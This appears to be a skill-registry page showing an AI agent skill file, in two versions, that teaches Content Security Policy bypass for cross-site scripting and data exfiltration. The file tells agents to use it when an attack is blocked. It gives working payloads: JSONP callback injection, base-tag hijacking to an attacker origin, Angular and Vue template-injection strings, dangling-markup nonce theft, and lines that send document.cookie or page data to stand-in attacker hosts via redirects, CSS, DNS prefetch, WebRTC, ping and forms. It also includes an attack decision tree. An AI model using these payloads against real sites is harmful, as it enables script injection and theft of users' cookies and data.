csp
Skill1 starsChanged 10 days agoMITView on GitHub
Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.
3 other projects use a version of this.
Adopted by
Most recently taken up by
- qian-gugugaga/Character_Skill_Producertheir own version, first seen Jun 6, 2026
- digitalcomposer/csp-skilltheir own version, first seen Apr 26, 2026
- cocart-headless/cocart-skillstheir own version, first seen Apr 16, 2026
Other versions3 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 3
- qian-gugugaga/Character_Skill_Producer★ 281same name
- cocart-headless/cocart-skills★ 1same name
- digitalcomposer/csp-skill★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository29 other files it gives its agents.
- AGENTS.mdAGENTS.md
- vercel-react-best-practices/AGENTS.mdAGENTS.md
- application-lifecycle-traceSkill
- architecture-reviewSkill
- awsSkill
- codebase-mapperSkill
- code-review-frontendSkill
- comment-sickoSkill
- demo-scriptSkill
- documentation-writerSkill
- dotnetSkill
- feature-orchestratorSkill
- frontend-patternsSkill
- lets-talk-about-itSkill
- nextjs-proxy-csp-hardeningSkill
- owasp-securitySkill
- pr-body-styleSkill
- prd-modeSkill
- prove-it-worksSkill
- security-reviewSkill
- simplifySkill
- sweSkill
- systems-architectureSkill
- task-generation-modeSkill
- thermo-nuclear-code-quality-reviewSkill
- typescript-react-reviewerSkill
- typescript-strict-styleSkill
- vercel-react-best-practicesSkill
- whats-going-onSkill
The file
We split this skill into the rules it gives an agent
11 rules. About 0 are common, 5 are distinctive, and 6 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈5
Distinctive · estimate
This author's own choices. Worth a look.
6
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 67
Trick: Search for JSONP endpoints on whitelisted domains: site:GOOGLE_APIS_HOST inurl:callback
- Distinctive: line 83
Only scripts with matching nonce attribute execute.
- Very specific: line 128
If object-src is not set (falls back to default-src), and default-src allows some origins:
- Distinctive: line 174
If injected via HTML injection _before_ the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first …
- Distinctive: line 175
If page has both header CSP and meta CSP, both apply (most restrictive wins)
- Very specific: line 181
When connect-src, img-src, etc.
- Very specific: line 252
strict-dynamicignores whitelist: When strict-dynamic is present, host-based allowlists and 'self' are ignored for script loading. - Very specific: line 253
Multiple CSPs stack: If both Content-Security-Policy header and <meta> CSP exist, the browser enforces BOTH — the effective policy is the …
- Very specific: line 254
Content-Security-Policy-Report-Only: does not enforce — it only reports. - Distinctive: line 405
Always check for Report-Only mode.
- Distinctive: line 413
Check for nonce predictability and reuse
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: CSP Bypass — Advanced Techniques
AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest
unsafe-inlinebypass without checking if the CSP actually uses it, or miss the criticalbase-uriandobject-srcgaps.
1. CSP DIRECTIVE REFERENCE MATRIX
| Directive | Controls | Default Fallback |
default-src | Fallback for all -src directives not explicitly set | None (browser default: allow all) |
script-src | JavaScript execution | default-src |
style-src | CSS loading | default-src |
img-src | Image loading | default-src |
connect-src | XHR, fetch, WebSocket, EventSource | default-src |
frame-src | iframe/frame sources | default-src |
font-src | Font loading | default-src |
object-src | <object>, <embed>, <applet> | default-src |
media-src | <audio>, <video> | default-src |
base-uri | <base> element | No fallback — unrestricted if absent |
form-action | Form submission targets | No fallback — unrestricted if absent |
frame-ancestors | Who can embed this page (replaces X-Frame-Options) | No fallback — unrestricted if absent |
report-uri / report-to | Where violation reports are sent | N/A |
navigate-to | Navigation targets (limited browser support) | No fallback |
Critical insight: base-uri, form-action, and frame-ancestors do NOT fall back to default-src. Their absence is always a potential bypass vector.
2. BYPASS TECHNIQUES BY DIRECTIVE
2.1 script-src 'self'
The app only allows scripts from its own origin. Bypass vectors:
| Vector | Technique |
| JSONP endpoints | <script src="/api/jsonp?callback=alert(1)//"></script> — JSONP reflects callback as JS |
| Uploaded JS files | Upload .js file (e.g., avatar upload accepts any extension) → <script src="/uploads/evil.js"></script> |
| DOM XSS sinks | Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param |
| Angular/Vue template injection | If framework is loaded from 'self', inject template expressions: {{constructor.constructor('alert(1)')()}} |
| Service Worker | Register SW from same origin → intercept and modify responses |
| Path confusion | <script src="/user-content/;/legit.js"> — server returns user content due to path parsing, but URL matches 'self' |
2.2 script-src with CDN Whitelist
script-src 'self' GOOGLE_APIS_HOST GSTATIC_HOST JSDELIVR_HOST| Whitelisted CDN | Bypass |
CDNJS_HOST | Host arbitrary JS via CDNJS (find lib with callback/eval): angular.js → template injection |
JSDELIVR_HOST | jsdelivr serves any npm package or GitHub file: JSDELIVR_HOST/npm/attacker-package@1.0.0/evil.js |
GOOGLE_APIS_HOST | Google JSONP endpoints, Google Maps callback parameter |
UNPKG_HOST | Same as jsdelivr — serves arbitrary npm packages |
CLOUDFRONT_HOST | CloudFront distributions are shared — any CF customer's JS is allowed |
Trick: Search for JSONP endpoints on whitelisted domains: site:GOOGLE_APIS_HOST inurl:callback
2.3 script-src 'unsafe-eval'
eval(), Function(), setTimeout(string), setInterval(string) all permitted.
// Template injection → RCE-equivalent in browser
[].constructor.constructor("alert(document.cookie)")();
// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))2.4 script-src 'nonce-xxx'
Only scripts with matching nonce attribute execute.
| Bypass | Condition |
| Nonce reuse | Server uses same nonce across requests or for all users → predictable |
| Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject <script nonce="known"> |
| Dangling markup to steal nonce | <img src="ATTACKER_ORIGIN/steal? (unclosed) → page content including nonce leaks as URL parameter |
| DOM clobbering | Overwrite nonce-checking code via DOM clobbering: <form id="nonce"><input id="nonce" value="attacker-controlled"> |
| Script gadgets | Trusted nonced script uses DOM data to create new script elements — inject that DOM data |
2.5 script-src 'strict-dynamic'
Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.
| Bypass | Technique |
base-uri injection | <base href="ATTACKER_ORIGIN/"> → relative script src resolves to attacker domain. Trusted parent script loads ./lib.js which now points to ATTACKER_ORIGIN/lib.js |
| Script gadget in trusted code | Find trusted script that does document.createElement('script'); s.src = location.hash.slice(1) → control via URL fragment |
| DOM XSS in trusted script | Trusted script reads innerHTML from user-controlled source → injected <script> is trusted via strict-dynamic |
2.6 Angular / Vue CSP Bypass
Angular (with CSP):
<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}Vue.js:
<!-- Vue 2 with runtime compiler -->
<div id="app">{{_c.constructor('alert(1)')()}}</div>
<script src="ALLOWED_CDN/vue.js"></script>
<script>
new Vue({ el: "#app" });
</script>2.7 Missing object-src
If object-src is not set (falls back to default-src), and default-src allows some origins:
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object
data="ATTACKER_ORIGIN/evil.swf"
type="application/x-shockwave-flash"
>
<param name="AllowScriptAccess" value="always" />
</object>
<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf" />2.8 Missing base-uri
<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="ATTACKER_ORIGIN/" />
<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: ATTACKER_ORIGIN/js/app.js -->This bypasses 'nonce-xxx', 'strict-dynamic', and script-src 'self' for relative script paths.
2.9 Missing frame-ancestors
CSP without frame-ancestors → page can be framed → clickjacking possible.
X-Frame-Options header is overridden by frame-ancestors if CSP is present. But if CSP exists without frame-ancestors, some browsers ignore XFO entirely.
3. CSP IN META TAG vs. HEADER
<meta http-equiv="Content-Security-Policy" content="script-src 'self'" />Meta tag limitations:
- Cannot set
frame-ancestors(ignored in meta) - Cannot set
report-uri/report-to - Cannot set
sandbox - If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
- If page has both header CSP and meta CSP, both apply (most restrictive wins)
4. DATA EXFILTRATION DESPITE CSP
When connect-src, img-src, etc. are locked down, alternative exfiltration channels:
| Channel | CSP Directive Needed to Block | Technique |
| DNS prefetch | None (CSP cannot block DNS) | <link rel="dns-prefetch" href="//data.ATTACKER_HOST"> |
| WebRTC | None (CSP cannot block) | new RTCPeerConnection({iceServers:[{urls:'stun:ATTACKER_HOST'}]}) |
<link rel=prefetch> | default-src or connect-src | Often missed in CSP |
| Redirect-based | navigate-to (rarely set) | location='ATTACKER_ORIGIN/?'+document.cookie |
| CSS injection | style-src | <style>body{background:url(ATTACKER_ORIGIN/?data)}</style> |
<a ping> | connect-src | <a ping="ATTACKER_ORIGIN/collect" href="#">click</a> |
report-uri leak | N/A | Trigger CSP violation → report contains blocked-uri with data |
| Form submission | form-action | <form action="ATTACKER_ORIGIN/"><button>Submit</button></form> |
DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.
5. CSP BYPASS DECISION TREE
CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│ ├── 'unsafe-inline' in script-src? → Standard XSS works
│ ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│ ├── * or data: in script-src? → <script src="data:,alert(1)">
│ └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│ ├── No base-uri? → <base href="ATTACKER_ORIGIN/"> → hijack relative scripts
│ ├── No object-src? → Flash/plugin-based bypass (legacy)
│ ├── No form-action? → Exfil via form submission
│ ├── No frame-ancestors? → Clickjacking possible
│ └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│ ├── Find JSONP endpoints on same origin
│ ├── Find file upload → upload .js file
│ ├── Find DOM XSS in existing same-origin scripts
│ └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│ ├── Check CDN for JSONP endpoints
│ ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│ └── Check CLOUDFRONT_HOST → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│ ├── Nonce reused across requests? → Replay
│ ├── CRLF injection available? → Inject nonce
│ ├── Dangling markup to steal nonce
│ └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│ ├── base-uri not set? → <base> hijack
│ ├── DOM XSS in trusted script? → Inherit trust
│ └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
├── Dangling markup injection → exfil without JS
├── DNS prefetch exfiltration
├── WebRTC exfiltration
├── CSS injection for data extraction
└── Form action exfiltration6. TRICK NOTES — WHAT AI MODELS MISS
default-src 'self'does NOT restrictbase-uriorform-action— these have no fallback. This is the #1 CSP mistake.strict-dynamicignores whitelist: Whenstrict-dynamicis present, host-based allowlists and'self'are ignored for script loading. Only nonce/hash and trust propagation matter.- Multiple CSPs stack: If both
Content-Security-Policyheader and<meta>CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive). Content-Security-Policy-Report-Onlydoes not enforce — it only reports. Check for the correct header name.- Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
- Report-uri information disclosure: CSP violation reports sent to
report-uricontainblocked-uri,source-file,line-number— this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint. data:in script-src:script-src 'self' data:allows<script src="data:text/javascript,alert(1)">— trivial bypass, but commonly seen in real-world CSPs.
SKILL: CSP Bypass — Advanced Techniques
AI LOAD INSTRUCTION: Master per-directive bypasses, nonce/hash abuse, strict-dynamic exploitation, Trusted Types evasion, framework-specific vectors, and data exfiltration channels that survive strong CSPs. Never default to "unsafe-inline" suggestions without verifying the actual policy. Prioritize missing no-fallback directives (base-uri, object-src, form-action, frame-ancestors) and real-world misconfigurations.
0. RELATED ROUTING
- xss-cross-site-scripting → Primary XSS delivery after CSP bypass
- dangling-markup-injection → Exfiltrate without JS when scripts are fully blocked
- crlf-injection → Inject/modify CSP headers or steal nonces
- waf-bypass-techniques → When WAF + CSP must both be defeated
- clickjacking → When frame-ancestors is missing
- prototype-pollution → Often combined with CSP bypass for gadget chaining
1. CSP DIRECTIVE REFERENCE MATRIX (Critical)
| Directive | Controls | Fallback | Notes |
| ------------------------- | ---------------------------------- | ---------------- | ---------------------- |
| default-src | Fallback for unspecified -src | None (allow all) | Broad but dangerous |
| script-src | JS execution | default-src | Core for XSS defense |
| style-src | CSS loading | default-src |
| img-src / media-src | Images, audio, video | default-src |
| connect-src | Fetch, XHR, WebSocket, etc. | default-src | Exfil control |
| object-src | <object>, <embed>, <applet> | default-src | Often missing |
| base-uri | <base> element | **No fallback** | Critical bypass vector |
| form-action | Form submission targets | **No fallback** | Form hijacking |
| frame-ancestors | Framing (replaces X-Frame-Options) | **No fallback** | Clickjacking |
| navigate-to | Navigation targets | **No fallback** | Limited support |
| require-trusted-types-for | Enforces Trusted Types | N/A | Modern hardening |
**Key Insight:** `base-uri`, `form-action`, `frame-ancestors`, and `navigate-to` have **no fallback** to default-src. Their absence is almost always exploitable.
2. BYPASS TECHNIQUES BY DIRECTIVE
2.1 script-src 'self'
- JSONP endpoints on same origin (`/api/jsonp?callback=alert(1)//`)
- File uploads that accept `.js` (avatars, imports, etc.)
- DOM XSS in existing same-origin scripts
- Framework template injection (Angular/Vue loaded from 'self')
- Path confusion / Relative Path Overwrite (RPO): `/user-content/;/legit.js`
2.2 script-src with CDN / Host Whitelists
Common whitelists: `GOOGLE_APIS_HOST GSTATIC_HOST JSDELIVR_HOST UNPKG_HOST CLOUDFRONT_HOST`
- jsdelivr / unpkg: Load arbitrary npm/GitHub packages
- JSONP on Google domains (`GOOGLE_ACCOUNTS_HOST/o/oauth2/revoke?callback=...`)
- Shared CloudFront distributions
- Search: `site:ALLOWED_HOST inurl:callback`
2.3 script-src 'unsafe-eval'
```js
[].constructor.constructor("alert(document.cookie)")();
new Function("alert(1)")();
setTimeout("alert(1)", 0);
```2.4 script-src 'nonce-xxx'
- Nonce reuse across requests/users
- CRLF response splitting to inject new CSP/nonce
- Dangling markup + CSS attribute selectors to exfiltrate nonce
- DOM clobbering of nonce-checking logic
Script gadgets in trusted nonced code that create new scripts from controllable DOM data
2.5 script-src 'strict-dynamic' Trust propagates from nonce/hash-trusted scripts.
- Missing
base-uri:<base href="ATTACKER_ORIGIN/">→ hijack relative<script src="/js/app.js"> - DOM XSS in trusted script → injected
<script>inherits trust Script gadgets:
document.createElement('script'); s.src = location.hash...ors.textContent = ...2.6 Framework-Specific Bypasses Angular (when angular.js is allowed):
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
{{constructor.constructor('alert(1)')()}}Vue (runtime compiler):
<div id="app">{{_c.constructor('alert(1)')()}}</div>2.7 Missing object-src / Legacy Plugins
- SVG with
<script>(especially with specific Content-Type) Old Flash / PDF plugin abuse (less relevant but still appears)
2.8 Missing base-uri (High Impact)
<base href="ATTACKER_ORIGIN/" />Hijacks all relative script/style/iframe sources. Works against nonce + strict-dynamic.
2.9 Missing frame-ancestors / form-action
- Clickjacking (frame-ancestors)
- Form hijacking for credential exfil (form-action)
- META TAG vs HEADER CSP
- Meta CSP cannot set
frame-ancestors,sandbox,report-* - First meta tag in DOM order wins in some browsers
- Header + Meta → intersection (most restrictive)
- DATA EXFILTRATION DESPITE STRONG CSP
- DNS prefetch / WebRTC (CSP cannot fully block)
- CSS
background-url+ attribute selectors <a ping>, form submissions (if form-action missing)- Dangling markup
- Report-uri leakage (contains blocked-uri, source-file, etc.)
- MODERN HARDENINGS & THEIR WEAKNESSES
require-trusted-types-for 'script'+trusted-types→ Look for DOM sink bypasses, policy name enumeration, or cross-frame abuse- Multiple CSP headers → Most restrictive wins
- Report-Only mode (
Content-Security-Policy-Report-Only) → No enforcement
- CSP BYPASS DECISION TREE
Is CSP present? (Check headers + meta)
├── 'unsafe-inline' in script-src? → Classic XSS
├── 'unsafe-eval'? → eval/Function bypass
├── Wildcard / broad host? → JSONP, jsdelivr, etc.
├── Missing base-uri? → <base> hijack
├── Missing object-src / form-action / frame-ancestors? → Plugin / Form / Clickjacking
├── Nonce? → Reuse, leak (CSS/DOM), CRLF, gadgets
├── strict-dynamic? → base-uri, trusted script DOM XSS, gadgets
└── Everything blocked? → Dangling markup + DNS/WebRTC/CSS exfil- TRICK NOTES — WHAT MOST MODELS MISS
default-src 'self'does not restrict base-uri, form-action, or frame-ancestors.strict-dynamicignores host whitelists and 'self' for dynamically created scripts.- Nonce leakage via CSS attribute selectors + cache probing (2025+ technique).
- SVG + specific Content-Type can bypass script blocks in some apps.
- Trusted Types can still be bypassed via certain DOM sinks or cross-frame scenarios.
- Always check for Report-Only mode.
- Multiple CSP policies = intersection.
- TESTING RECOMMENDATIONS
- Chrome DevTools → Security tab + Console violations
csp-evaluator(Google)- Manually craft minimal policies and test bypasses
- Check for nonce predictability and reuse
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

